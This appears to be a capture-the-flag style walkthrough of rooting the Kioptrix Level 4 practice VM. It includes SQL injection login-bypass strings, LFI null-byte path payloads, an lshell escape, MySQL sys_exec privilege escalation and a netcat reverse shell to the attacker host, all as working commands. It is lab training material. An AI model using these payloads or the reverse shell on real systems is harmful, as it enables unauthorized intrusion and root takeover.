Kioptrix Level 1.3 (Level 4) Walkthrough (OSCP Prep)

Introduction
In this write-up, we will walk through rooting Kioptrix Level 1.3 – also known as Kioptrix Level 4. This was a fun box that proved to be a decent challenge as I was not familiar with the privilege escalation vector.
Before We Begin
Kioptrix Level 4 comes with only a VMDK disk image. To run the virtual machine, you will have to create a new VM and import the disk image.
Tools
Host Discovery
First things first: we need to locate the IP address of our victim:
┌──(ori0n㉿kali)-[~/kioptrix4]
└─$ nmap -sP -n 10.0.10.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-03 21:06 CDT
Nmap scan report for 10.0.10.2
Host is up (0.00052s latency).
Nmap scan report for 10.0.10.10
Host is up (0.000044s latency).
Nmap scan report for 10.0.10.103
Host is up (0.00024s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.49 seconds```
We find the Kioptrix machine running on 10.0.10.103
.
Scanning and Enumeration
We will perform our initial port scan with rustscan
and save the subsequent nmap
output for later reference.
┌──(ori0n㉿kali)-[~/kioptrix4]
└─$ rustscan -a10.0.10.103 -- -sV -oA scans/nmap-initial
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan
[~] The config file is expected to be at "/home/ori0n/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.0.10.103:22
Open 10.0.10.103:80
Open 10.0.10.103:139
Open 10.0.10.103:445
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-03 21:11 CDT
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 21:11
Scanning 10.0.10.103 [2 ports]
Completed Ping Scan at 21:11, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:11
Completed Parallel DNS resolution of 1 host. at 21:11, 0.03s elapsed
DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 21:11
Scanning 10.0.10.103 [4 ports]
Discovered open port 139/tcp on 10.0.10.103
Discovered open port 22/tcp on 10.0.10.103
Discovered open port 445/tcp on 10.0.10.103
Discovered open port 80/tcp on 10.0.10.103
Completed Connect Scan at 21:11, 0.00s elapsed (4 total ports)
Initiating Service scan at 21:11
Scanning 4 services on 10.0.10.103
Completed Service scan at 21:11, 11.01s elapsed (4 services on 1 host)
NSE: Script scanning 10.0.10.103.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 21:11
Completed NSE at 21:11, 0.01s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 21:11
Completed NSE at 21:11, 0.00s elapsed
Nmap scan report for 10.0.10.103
Host is up, received syn-ack (0.00060s latency).
Scanned at 2021-08-03 21:11:15 CDT for 11s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open http syn-ack Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
139/tcp open netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.31 seconds
There isn’t a whole lot going on here. We can begin our enumeration with the webserver. Launch a web browser and point it to the victim’s IP address.
We’re greeted with a typical login portal. Trying some basic default credentials gets us nowhere. Perhaps this is vulnerable to SQL injection?
I’ll try the simple ' or 1=1 or '
for both the username and password.
It looks like the injection worked! However, we are getting another error.
Let’s see if there are any hidden files or folders on the webserver. I’ll use gobuster
and try several basic wordlists. We get some interesting results with wfuzz
‘s big.txt
:
┌──(ori0n㉿kali)-[~/kioptrix4]
└─$ gobuster -u http://10.0.10.103 -w /usr/share/wordlists/wfuzz/general/big.txt
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.0.10.103/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/wfuzz/general/big.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2021/08/03 21:23:47 Starting gobuster
=====================================================
/cgi-bin/ (Status: 403)
/images (Status: 301)
/index (Status: 200)
/john (Status: 301)
/logout (Status: 302)
/member (Status: 302)
/robert (Status: 301)
=====================================================
2021/08/03 21:23:48 Finished
=====================================================
Note the john
and robert
results. These are directories on the server, but they also sound like potential usernames…
Let’s check out these directories. If we navigate to the /john
directory in our browser, we find a john.php
file:
The /robert
directory is essentially the same. We can try to use these as potential usernames and use our SQLi to log in. Try username john
and password ' or 1=1#
.
If we log out and try the same with the robert
user, we get another password. So now we have potential credentials:
john:MyNameIsJohn
robert:ADGAdsafdfwt4gadfga==
Robert’s password looks suspiciously like base 64, so we can try to decode it:
┌──(ori0n㉿kali)-[~/kioptrix4]
└─$ echo ADGAdsafdfwt4gadfga== | base64 -d
1vƟu-~base64: invalid input
So it seems it is not base 64 encoded after all.
Initial Foothold
Password re-use is a real problem. Any time we find passwords, we should try them anywhere a login is required. We saw from our port scan that SSH is running on the machine, so let’s use our new creds to try to log in.
┌──(ori0n㉿kali)-[~/kioptrix4]
└─$ ssh john@10.0.10.103
The authenticity of host '10.0.10.103 (10.0.10.103)' can't be established.
RSA key fingerprint is SHA256:3fqlLtTAindnY7CGwxoXJ9M2rQF6nn35SFMTVv56lww.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.0.10.103' (RSA) to the list of known hosts.
john@10.0.10.103's password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you don't screw up
Type '?' or 'help' to get the list of allowed commands
john:~$
It actually worked! Unfortunately, we seem to be in a restricted shell environment.
john:~$ cd /
*** forbidden path -> "/"
*** You have 0 warning(s) left, before getting kicked out.
This incident has been reported.
john:~$ cat /etc/passwd
*** unknown command: cat
john:~$
We could research how to break out of this restricted shell, but it would help to know exactly what shell is running.
Enumerating the Restricted Shell
Thinking back to our enumeration of the web server, we can guess that the application is including the /john/john.php
file into the member.php
file on successful login. This would be a good point to test for LFI. The username
parameter seems like the place to check.
First, we can try to read the /etc/passwd
file. Try the URL http://10.0.10.103/member.php?username=../../etc/passwd
:
It seems the application is stripping out the etc
sub-string in the URL. What if we add a second etc
? Try: http://10.0.10.103/member.php?username=../../etcetc/passwd
:
So the app is appending .php
to the filename. This makes sense if we consider the way the username is used in the original URL. Maybe we can use null byte injection to bypass this.
Try the URL http://10.0.10.103/member.php?username=../../etcetc/passwd%00
. It works! We’ve now dumped /etc/passwd
:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
mysql:x:104:108:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
loneferret:x:1000:1000:loneferret,,,:/home/loneferret:/bin/bash
john:x:1001:1001:,,,:/home/john:/bin/kshell
robert:x:1002:1002:,,,:/home/robert:/bin/kshell
From this, we’ve uncovered another username, but more importantly for now, we know the login shell for our john
user: /bin/kshell
. If this happens to be a script file, we can use our LFI to view the source.
http://10.0.10.103/member.php?username=../../bin/kshell%00
#!/usr/bin/env python
#
# $Id: lshell,v 1.5 2009/07/28 14:31:26 ghantoos Exp $
#
# Copyright (C) 2008-2009 Ignace Mouzannar (ghantoos) <ghantoos@ghantoos.org>
#
# This file is part of lshell
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
""" calls lshell function """
import lshell
if __name__ == '__main__':
lshell.main()
So our jail cell has a name: lshell
.
Breaking Out of Jail
Knowing the name of our shell, we can search for lshell break out
, and we find a simple technique to break of lshell
.
Back to our shell, we can try this technique:
john:~$ echo os.system('/bin/bash')
john@Kioptrix4:~$ id
uid=1001(john) gid=1001(john) groups=1001(john)
john@Kioptrix4:~$ cat /etc/issue
Welcome to LigGoat Security Server
And we’re out!
Privilege Escalation
Now on to root.
A quick check of sudo -l
says we have no sudo
privileges.
john@Kioptrix4:~$ sudo -l
[sudo] password for john:
Sorry, user john may not run sudo on Kioptrix4.
If only it were that easy. I spent an inordinate amount of time looking for privilege escalation vectors on this machine. There were some potential exploits for the kernel and the Samba server, but I could get nothing to work.
Finally, I went back to enumerate the web application from the source code, and it was a rather quick path to root
.
Popping a Shell With MySQL
In the /var/www
directory, we can find the checklogin.php
file. Near the top of this file, we find some MySQL creds:
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name
So the MySQL root user has no password? Let’s check it out:
john@Kioptrix4:/var/www$ mysql -u root
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 39
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql>
After enumerating these databases for a moment, we find something interesting:
mysql> select * from mysql.func;
+-----------------------+-----+---------------------+----------+
| name | ret | dl | type |
+-----------------------+-----+---------------------+----------+
| lib_mysqludf_sys_info | 0 | lib_mysqludf_sys.so | function |
| sys_exec | 0 | lib_mysqludf_sys.so | function |
+-----------------------+-----+---------------------+----------+
2 rows in set (0.00 sec)
A bit of searching finds that the sys_exec
function is a very real privilege escalation vector. There is a sys_exec
exploit available, but from a quick reading of the source, we can easily perform this manually.
First, let’s see what user mysql
is running as. We can find this with ps
:
john@Kioptrix4:~$ ps -ef | grep -i mysql [0/53]
root 4686 1 0 18:20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
root 4728 4686 0 18:20 ? 00:00:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=root
root 4730 4686 0 18:20 ? 00:00:00 logger -p daemon.err -t mysqld_safe -i -t mysqld
john 4964 4946 0 18:21 pts/0 00:00:00 mysql -u root
john 4989 4970 0 18:21 pts/1 00:00:00 grep -i mysql
It appears to be running as root
!
To double-check, and to test our sys_exec
exploit, we can run id
from within the MySQL client and redirect to the output to a file.
From MySQL:
mysql> select sys_exec('id > /tmp/id; chown john:john /tmp/id');
+---------------------------------------------------+
| sys_exec('id > /tmp/id; chown john:john /tmp/id') |
+---------------------------------------------------+
| NULL |
+---------------------------------------------------+
1 row in set (0.00 sec)
Now, from a standard shell, navigate to the /tmp
directory.
john@Kioptrix4:/tmp$ ls -l
total 4
-rw-rw---- 1 john john 24 2021-08-03 18:25 id
john@Kioptrix4:/tmp$ cat id
uid=0(root) gid=0(root)
So we are definitely running as root
! Let’s get a shell.
nc
cannot be found on the remote machine, but we do find netcat
:
john@Kioptrix4:~$ which nc
john@Kioptrix4:~$ which netcat
/bin/netcat
Start a listener on the attack machine:
┌──(ori0n㉿kali)-[~/kioptrix4]
└─$ nc -nlkvp 4444
Listening on 0.0.0.0 4444
Back in the MySQL shell:
mysql> select sys_exec('/bin/netcat kali 4444 -e /bin/bash');
And nothing happens…
After some probing, it became apparent this machine was likely using a firewall. We can search in /etc
for any iptables
configuration files:
john@Kioptrix4:~$ find /etc | grep -i iptables
find: /etc/chatscripts: Permission denied
find: /etc/ppp/peers: Permission denied
/etc/iptables.rules
Can we read this file?
john@Kioptrix4:~$ cat /etc/iptables.rules
# Generated by iptables-save v1.3.8 on Mon Feb 6 20:00:52 2012
*filter
:INPUT ACCEPT [6150:1120650]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [969:93214]
-A INPUT -p tcp -m tcp --dport 4444 -j DROP
-A INPUT -p tcp -m tcp --dport 1337:6000 -j DROP
-A INPUT -p tcp -m tcp --dport 10000:31337 -j DROP
-A INPUT -p tcp -m tcp --dport 8080 -j DROP
-A OUTPUT -p tcp -m tcp --dport 4444 -j DROP
-A OUTPUT -p tcp -m tcp --dport 1337:6000 -j DROP
-A OUTPUT -p tcp -m tcp --dport 10000:31337 -j DROP
-A OUTPUT -p tcp -m tcp --dport 8080 -j DROP
-A OUTPUT -p tcp -m tcp --dport 80 -j DROP
-A OUTPUT -p tcp -m tcp --dport 21 -j DROP
COMMIT
# Completed on Mon Feb 6 20:00:52 2012
Aha! So we do have a firewall dropping outgoing packets specifically on port 4444. It is also blocking outgoing packets on port ranges 1337-6000 and 10000-31337. Let’s try to use a port number outside of these ranges. I’ll use 9000.
Relaunch the listener on your attacker using port 9000 instead of 4444. Then in the MySQL shell:
mysql> select sys_exec('/bin/netcat kali 9000 -e /bin/bash');
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id: 1
Current database: *** NONE ***
We get an error, but in our listener terminal, we see:
Connection received on 10.0.10.103 56234
We have a connection. Do we have a shell?
id
uid=0(root) gid=0(root)
hostname
Kioptrix4
And we’re in!
Capture the “Flag”
While there are no true flags on the Kioptrix machines, there is usually some sort of congratulatory text file to be found after grabbing getting root.
With our root shell, navigate to /root
and check for any interesting files:
cd /root
ls -al
total 44
drwxr-xr-x 4 root root 4096 Feb 6 2012 .
drwxr-xr-x 21 root root 4096 Feb 6 2012 ..
-rw------- 1 root root 59 Feb 6 2012 .bash_history
-rw-r--r-- 1 root root 2227 Oct 20 2007 .bashrc
-rw-r--r-- 1 root root 1 Feb 5 2012 .lhistory
-rw------- 1 root root 1 Feb 5 2012 .mysql_history
-rw------- 1 root root 5 Feb 6 2012 .nano_history
-rw-r--r-- 1 root root 141 Oct 20 2007 .profile
drwx------ 2 root root 4096 Feb 6 2012 .ssh
-rw-r--r-- 1 root root 625 Feb 6 2012 congrats.txt
drwxr-xr-x 8 loneferret loneferret 4096 Feb 4 2012 lshell-0.9.12
We see the congrats.txt
file. Interestingly, it is world-readable, so we could have read it the whole time. Of course, that would defeat the purpose of this machine. Let’s cat
it out:
cat congrats.txt
Congratulations!
You've got root.
There is more then one way to get root on this system. Try and find them.
I've only tested two (2) methods, but it doesn't mean there aren't more.
As always there's an easy way, and a not so easy way to pop this box.
Look for other methods to get root privileges other than running an exploit.
It took a while to make this. For one it's not as easy as it may look, and
also work and family life are my priorities. Hobbies are low on my list.
Really hope you enjoyed this one.
If you haven't already, check out the other VMs available on:
www.kioptrix.com
Thanks for playing,
loneferret
The file tells us there is more than one path to root. While I found multiple means of entry into the machine, I was unable to find another privilege escalation vector.
Wrapping Up
That’s the end of Kioptrix Level 4! Overall, this was a fun machine that provided a good challenge for having not been familiar with MySQL User Defined Functions.
There are other ways to gain the initial foothold, namely using the LFI we found in the web application. Try to use the LFI to gain access as a bonus challenge!
Leave a Reply